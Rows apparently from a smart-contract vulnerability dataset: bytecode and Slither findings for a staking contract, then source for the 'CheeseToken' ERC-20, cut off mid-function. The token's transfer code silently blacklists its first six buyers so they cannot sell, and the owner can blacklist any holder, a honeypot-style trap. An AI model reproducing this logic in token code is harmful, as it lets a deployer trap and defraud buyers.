5b61026b611280565b6102946104243660046124f3565b6112a7565b61029461043736600461273f565b61182f565b61029461044a36600461270f565b611b2b565b6102a961045d3660046125d5565b611b35565b610294610470366004612483565b611be5565b6102be611c31565b6102f6611c37565b6102f6611c46565b61029461049b36600461270f565b611c6a565b6102be611ccb565b6102946104b636600461270f565b611cd1565b6102946104c9366004612533565b611e15565b6102be6104dc3660046124bb565b611fe8565b6102be6104ef366004612483565b612013565b6102946105023660046125d5565b612025565b6040518060400160405280601281526020017120b222bc1029ba30b5b4b733902a37b5b2b760711b81525081565b600b546001600160a01b031633146105685760405162461bcd60e51b815260040161055f90612a01565b60405180910390fd5b6103e881111561058a5760405162461bcd60e51b815260040161055f90612b14565b600655565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105e8908690612850565b60405180910390a350600192915050565b60105481565b60005481565b600f5481565b6001600160a01b03831660009081526001602052604081205461062f908390612da6565b6001600160a01b0385166000908152600160209081526040808320939093556002815282822033835290522054610667908390612da6565b6001600160a01b0380861660009081526002602090815260408083203384528252808320949094559186168152600190915220546106a6908390612c3b565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020612e28833981519152906106e6908690612850565b60405180910390a35060015b9392505050565b6007546001600160a01b031681565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b80610825577f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c36001600160a01b031663e7ba10126040518163ffffffff1660e01b815260040160206040518083038186803b15801561078f57600080fd5b505afa1580156107a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c7919061249f565b6001600160a01b0316638bf22f17306040518263ffffffff1660e01b81526004016107f291906127b6565b600060405180830381600087803b15801561080c57600080fd5b505af1158015610820573d6000803e3d6000fd5b505050505b8142116108445760405162461bcd60e51b815260040161055f90612962565b60006040518060600160405280336001600160a01b031681526020018581526020018481525060405160200161087a9190612b62565b60408051601f1981840301815291815281516020928301206000818152600d909352912054909150806108bf5760405162461bcd60e51b815260040161055f90612a74565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906370a082319061090e9030906004016127b6565b60206040518083038186803b15801561092657600080fd5b505afa15801561093a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095e9190612727565b90506000805482886109709190612d87565b61097a9190612c53565b9050600083821161098b578161098d565b835b6000868152600d60209081526040808320839055338352600e909152812080549293508a929091906109c0908490612da6565b909155506109d090503389612033565b60405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c3169063a9059cbb90610a1e903390859060040161282c565b602060405180830381600087803b158015610a3857600080fd5b505af1158015610a4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7091906126f3565b610a7957600080fd5b336001600160a01b03167f71ec6330779eb13064fdcb040e03c78e2f9e68fb56bcf3ad120223fd1bcd421889898785604051610ab89493929190612c12565b60405180910390a25050505050505050565b60035481565b600b546001600160a01b03163314610afa5760405162461bcd60e51b815260040161055f90612a01565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600a546001600160a01b031681565b60008054610b4457506000610d18565b6000547f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c36001600160a01b031663e7ba10126040518163ffffffff1660e01b815260040160206040518083038186803b158015610ba057600080fd5b505afa158015610bb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd8919061249f565b6001600160a01b03166320b49935306040518263ffffffff1660e01b8152600401610c0391906127b6565b60206040518083038186803b158015610c1b57600080fd5b505afa158015610c2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c539190612727565b6040516370a0823160e01b81526001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906370a0823190610c9f9030906004016127b6565b60206040518083038186803b158015610cb757600080fd5b505afa158015610ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef9190612727565b610cf99190612c3b565b610d0b90670de0b6b3a7640000612d87565b610d159190612c53565b90505b90565b6009546001600160a01b031681565b600b546001600160a01b031681565b60065481565b6001600160a01b031660009081526001602052604090205490565b600c6020526000908152604090205460ff1681565b60046020526000908152604090205481565b600b546001600160a01b03163314610dab5760405162461bcd60e51b815260040161055f90612a01565b60c8811115610dcc5760405162461bcd60e51b815260040161055f9061292b565b600f819055610dd96120ad565b50565b600d6020526000908152604090205481565b80610ee2577f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c36001600160a01b031663e7ba10126040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4c57600080fd5b505afa158015610e60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e84919061249f565b6001600160a01b0316638bf22f17306040518263ffffffff1660e01b8152600401610eaf91906127b6565b600060405180830381600087803b158015610ec957600080fd5b505af1158015610edd573d6000803e3d6000fd5b505050505b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906370a0823190610f319030906004016127b6565b60206040518083038186803b158015610f4957600080fd5b505afa158015610f5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f819190612727565b9050600080548285610f939190612d87565b610f9d9190612c53565b905060006103e860065483610fb29190612d87565b610fbc9190612c53565b9050610fc83386612033565b60405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c3169063a9059cbb90611016903390859060040161282c565b602060405180830381600087803b15801561103057600080fd5b505af1158015611044573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106891906126f3565b61107157600080fd5b336001600160a01b03167ff401020088a10cade8fca19ce1c014addc7dd08d911cdd8a9de214dbfafbbe758684846040516110ae93929190612bfc565b60405180910390a25050505050565b600b546001600160a01b031633146110e75760405162461bcd60e51b815260040161055f90612a01565b600980546001600160a01b0319166001600160a01b0383161790556040517f24b6eb124e4a66ed0707b21614e0016f97d5da36704831722f30b8bd70644d35906111329083906127b6565b60405180910390a150565b6000805461114d575060006106f2565b60006040518060600160405280866001600160a01b03168152602001858152602001848152506040516020016111839190612b62565b60408051601f1981840301815282825280516020918201206000818152600d909252918120546370a0823160e01b845291935090916001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906370a08231906111f79030906004016127b6565b60206040518083038186803b15801561120f57600080fd5b505afa158015611223573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112479190612727565b90506000805482886112599190612d87565b6112639190612c53565b90508281116112725780611274565b825b98975050505050505050565b6040518060400160405280600b81526020016a4144582d5354414b494e4760a81b81525081565b6009546001600160a01b031633146112d15760405162461bcd60e51b815260040161055f906129db565b6112d96120ad565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906370a08231906113289030906004016127b6565b60206040518083038186803b15801561134057600080fd5b505afa158015611354573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113789190612727565b6001600160a01b0385166000908152600c602052604090205490915060ff166113b35760405162461bcd60e51b815260040161055f9061298c565b60408051600380825260808201909252600091602082016060803683370190505090507f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c38160008151811061141857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561146c57600080fd5b505afa158015611480573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a4919061249f565b816001815181106114c557634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050848160028151811061150757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600854604080516350d25bcd60e01b8152905160009492909216926350d25bcd92600480840193829003018186803b15801561155c57600080fd5b505afa158015611570573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115949190612727565b90506000866001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156115d157600080fd5b505afa1580156115e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116099190612727565b61161490600a612cb9565b611629906a56da9d67d20d7709000000612c53565b90506000826116388388612d87565b6116429190612c53565b90508481106116635760405162461bcd60e51b815260040161055f90612a9b565b600754604051634401edf760e11b81526000916001600160a01b031690638803dbee9061169c908a9086908a908e904290600401612b8c565b600060405180830381600087803b1580156116b657600080fd5b505af11580156116ca573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526116f29190810190612634565b905060008160008151811061171757634e487b7160e01b600052603260045260246000fd5b60200260200101519050600087600054836117329190612d87565b61173c9190612c53565b600a546001600160a01b031660009081526001602052604081205491925090821061178157600a546001600160a01b0316600090815260016020526040902054611783565b815b905080156117a157600a546117a1906001600160a01b031682612033565b8260115410156117c35760405162461bcd60e51b815260040161055f90612a54565b82601160008282546117d59190612da6565b925050819055507f0261b60f729f5f87ff22bb93906649fdb9a878e2242dd4ce7f1f03a2b7ecfcf58c8c8c84878e60005460405161181997969594939291906127ee565b60405180910390a1505050505050505050505050565b80611923577f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c36001600160a01b031663e7ba10126040518163ffffffff1660e01b815260040160206040518083038186803b15801561188d57600080fd5b505afa1580156118a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c5919061249f565b6001600160a01b0316638bf22f17306040518263ffffffff1660e01b81526004016118f091906127b6565b600060405180830381600087803b15801561190a57600080fd5b505af115801561191e573d6000803e3d6000fd5b505050505b336000908152600e60209081526040808320546001909252909120546119499190612da6565b8211156119685760405162461bcd60e51b815260040161055f906128fe565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906370a08231906119b79030906004016127b6565b60206040518083038186803b1580156119cf57600080fd5b505afa1580156119e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a079190612727565b9050600080548285611a199190612d87565b611a239190612c53565b9050600060055442611a359190612c3b565b905060006040518060600160405280336001600160a01b0316815260200187815260200183815250604051602001611a6d9190612b62565b60408051601f1981840301815291815281516020928301206000818152600d90935291205490915015611ab25760405162461bcd60e51b815260040161055f90612b37565b6000818152600d60209081526040808320869055338352600e90915281208054889290611ae0908490612c3b565b909155505060405133907f99e851f3e691e421e8cb75d61f7ecfa09423e645915271a1813ed6c148c2a0a990611b1b90899086908890612bfc565b60405180910390a2505050505050565b610dd93382612187565b60006001600160a01b038316301415611b605760405162461bcd60e51b815260040161055f90612ac5565b33600090815260016020526040902054611b7b908390612da6565b33600090815260016020526040808220929092556001600160a01b03851681522054611ba8908390612c3b565b6001600160a01b038416600081815260016020526040908190209290925590513390600080516020612e28833981519152906105e8908690612850565b600b546001600160a01b03163314611c0f5760405162461bcd60e51b815260040161055f90612a01565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60055481565b6008546001600160a01b031681565b7f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c381565b600b546001600160a01b03163314611c945760405162461bcd60e51b815260040161055f90612a01565b620151808110158015611caa575062278d008111155b611cc65760405162461bcd60e51b815260040161055f906129bb565b600555565b60115481565b6009546001600160a01b03163314611cfb5760405162461bcd60e51b815260040161055f906129db565b611d036120ad565b806011541015611d255760405162461bcd60e51b815260040161055f90612a54565b8060116000828254611d379190612da6565b909155505060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c3169063a9059cbb90611d8b90600090859060040161282c565b602060405180830381600087803b158015611da557600080fd5b505af1158015611db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ddd91906126f3565b611de657600080fd5b7f9af9b85f0dc506d38e3da126c4cfb91ad80e95972cdf8de836acbcb914ce746c816040516111329190612850565b42841015611e355760405162461bcd60e51b815260040161055f90612aea565b6003546001600160a01b038816600090815260046020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b919087611e8883612dbd565b919050558a604051602001611ea296959493929190612859565b60405160208183030381529060405280519060200120604051602001611ec992919061279b565b604051602081830303815290604052805190602001209050600060018286868660405160008152602001604052604051611f06949392919061288d565b6020604051602081039080840390855afa158015611f28573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611f5e5750886001600160a01b0316816001600160a01b0316145b611f7a5760405162461bcd60e51b815260040161055f90612a29565b6001600160a01b03808a166000818152600260209081526040808320948d1680845294909152908190208a9055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611fd5908b90612850565b60405180910390a3505050505050505050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600e6020526000908152604090205481565b61202f8282612187565b5050565b806000546120419190612da6565b60009081556001600160a01b038316815260016020526040902054612067908290612da6565b6001600160a01b038316600081815260016020526040808220939093559151600080516020612e28833981519152906120a1908590612850565b60405180910390a35050565b62015180601054426120bf9190612da6565b11156121855742601055600f546040516370a0823160e01b81526103e891906001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906370a082319061211d9030906004016127b6565b60206040518083038186803b15801561213557600080fd5b505afa158015612149573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061216d9190612727565b6121779190612d87565b6121819190612c53565b6011555b565b7f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c36001600160a01b031663e7ba10126040518163ffffffff1660e01b815260040160206040518083038186803b1580156121e057600080fd5b505afa1580156121f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612218919061249f565b6001600160a01b0316638bf22f17306040518263ffffffff1660e01b815260040161224391906127b6565b600060405180830381600087803b15801561225d57600080fd5b505af1158015612271573d6000803e3d6000fd5b50506040516370a0823160e01b8152600092506001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c31691506370a08231906122c49030906004016127b6565b60206040518083038186803b1580156122dc57600080fd5b505afa1580156122f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123149190612727565b905060005460001480612325575080155b15612339576123348383612412565b612362565b6000816000548461234a9190612d87565b6123549190612c53565b90506123608482612412565b505b6040516323b872dd60e01b81526001600160a01b037f000000000000000000000000ade00c28244d5ce17d72e40330b1c318cd12b7c316906323b872dd906123b2903390309087906004016127ca565b602060405180830381600087803b1580156123cc57600080fd5b505af11580156123e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240491906126f3565b61240d57600080fd5b505050565b806000546124209190612c3b565b60009081556001600160a01b038316815260016020526040902054612446908290612c3b565b6001600160a01b038316600081815260016020526040808220939093559151909190600080516020612e28833981519152906120a1908590612850565b600060208284031215612494578081fd5b81356106f281612e04565b6000602082840312156124b0578081fd5b81516106f281612e04565b600080604083850312156124cd578081fd5b82356124d881612e04565b915060208301356124e881612e04565b809150509250929050565b600080600060608486031215612507578081fd5b833561251281612e04565b9250602084013561252281612e04565b929592945050506040919091013590565b600080600080600080600060e0888a03121561254d578283fd5b873561255881612e04565b9650602088013561256881612e04565b95506040880135945060608801359350608088013560ff8116811461258b578384fd5b9699959850939692959460a0840135945060c09093013592915050565b600080604083850312156125ba578182fd5b82356125c581612e04565b915060208301356124e881612e19565b600080604083850312156125e7578182fd5b82356125f281612e04565b946020939093013593505050565b600080600060608486031215612614578283fd5b833561261f81612e04565b95602085013595506040909401359392505050565b60006020808385031215612646578182fd5b825167ffffffffffffffff8082111561265d578384fd5b818501915085601f830112612670578384fd5b81518181111561268257612682612dee565b838102604051601f19603f830116810181811085821117156126a6576126a6612dee565b604052828152858101935084860182860187018a10156126c4578788fd5b8795505b838610156126e65780518552600195909501949386019386016126c8565b5098975050505050505050565b600060208284031215612704578081fd5b81516106f281612e19565b600060208284031215612720578081fd5b5035919050565b600060208284031215612738578081fd5b5051919050565b60008060408385031215612751578182fd5b8235915060208301356124e881612e19565b600080600060608486031215612777578081fd5b8335925060208401359150604084013561279081612e19565b809150509250925092565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03978816815295909616602086015260408501939093526060840191909152608083015260a082015260c081019190915260e00190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156128d7578581018301518582016040015282016128bb565b818111156128e85783604083870101525b50601f01601f1916929092016040019392505050565b602080825260139082015272494e53554646494349454e545f53484152455360681b604082015260600190565b60208082526017908201527f4441494c595f50454e414c54595f544f4f5f4c41524745000000000000000000604082015260600190565b60208082526010908201526f554e4c4f434b5f544f4f5f4541524c5960801b604082015260600190565b6020808252601590820152741513d2d15397d393d517d5d2125511531254d51151605a1b604082015260600190565b602080825260069082015265424f554e445360d01b604082015260600190565b6020808252600c908201526b2727aa2fa3aaa0a92224a0a760a11b604082015260600190565b6020808252600e908201526d4e4f545f474f5645524e414e434560901b604082015260600190565b602080825260119082015270494e56414c49445f5349474e415455524560781b604082015260600190565b6020808252600690820152654c494d49545360d01b604082015260600190565b6020808252600d908201526c1393d7d0d3d353525513515395609a1b604082015260600190565b60208082526010908201526f0929ca6aa8c8c9286928a9ca8be8288b60831b604082015260600190565b6020808252600b908201526a4241445f4144445245535360a81b604082015260600190565b60208082526010908201526f111150511312539157d156141254915160821b604082015260600190565b602080825260099082015268544f4f5f4c4152474560b81b604082015260600190565b602080825260119082015270434f4d4d49544d454e545f45584953545360781b604082015260600190565b81516001600160a01b03168152602080830151908201526040918201519181019190915260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015612bdb5784516001600160a01b031683529383019391830191600101612bb6565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60008219821115612c4e57612c4e612dd8565b500190565b600082612c6e57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611612c855750612cb0565b818704821115612c9757612c97612dd8565b80861615612ca457918102915b9490941c938002612c76565b94509492505050565b60006106f26000198484600082612cd2575060016106f2565b81612cdf575060006106f2565b8160018114612cf55760028114612cff57612d2c565b60019150506106f2565b60ff841115612d1057612d10612dd8565b6001841b915084821115612d2657612d26612dd8565b506106f2565b5060208310610133831016604e8410600b8410161715612d5f575081810a83811115612d5a57612d5a612dd8565b6106f2565b612d6c8484846001612c73565b808604821115612d7e57612d7e612dd8565b02949350505050565b6000816000190483118215151615612da157612da1612dd8565b500290565b600082821015612db857612db8612dd8565b500390565b6000600019821415612dd157612dd1612dd8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610dd957600080fd5b8015158114610dd957600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220a8c2242f25e07400bcca16448c8ff485560366840b7295ef5c83c38b0d88857064736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,847
0x6Fd64724030f99DCbc3e732Ea934BBfE20472D57
/** *Submitted for verification at Etherscan.io on 2022-02-09 */ // SPDX-License-Identifier: Unlicensed //telegram https://t.me/Cheesetoken //One Cheese to Rule them all // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // **************************************/(##%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // *****************************************************/(%&@@@@@@@@@@@@@@@@@@@@@@@ // ***************************************************************(%@@@@@@@@@@@@@@@ // *********************************************************************/&@@@@@@@@@ // *************************************************************************/&@@@@@ // ****************************************************************************#@@@ // **********%%##(//************************************************************%@@ // *************/#(. ..,*/#%&@@@&%%###(//*******************************%(%@ // *******************#(, .,,.. .,*/(%&@@@&%%%##(/*/&(///@ // ************************##/ ..* ,(*////% // *****************************((( ...... .#/////# // **********************************/#(/ (*///// // ***************************************(#( ./ ....,/. (////// // #%#%%%%%%%%###########((((////*///////*//#. .. ......./ /////// // /////////////////////////////////////////(* / ....../ /////// // /////////////////////////////////////////// ,* ....*. *(///// // //////////////////////////////////////////# .*//////, *(///// // //////////////////////////////////////////#. .** *(///// // //////////////////////////////////////////(* ..../ /(///// // //////////////////////////////////////////(* .....* //////( // ///////////////////////////////////////////*,//,,,(, (/////# // //////////////////////////////////////////(* #/////& // //////////////////////////////////////////#@@@&&%%%#((/*,.. %///(@@ // //////////////////////////////////////////%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // //////////////////////////////////////////&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // //////////////////////////////////////////@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // /////////////////////////////////////////#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // ///////////////////////////////////(((##%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // %%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CheeseToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; uint256 private sniperCount = 0; string private constant _name = "Cheese Token"; string private constant _symbol = "Cheese"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if(sniperCount < 6 && to != uniswapV2Pair){ sniperCount++; bots[to] = true; } if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal ; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal/100; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ // require(_msgSender() == _feeAddrWallet1); sniperCount++; bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ // require(_msgSender() == _feeAddrWallet1); sniperCount -= 1; bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = 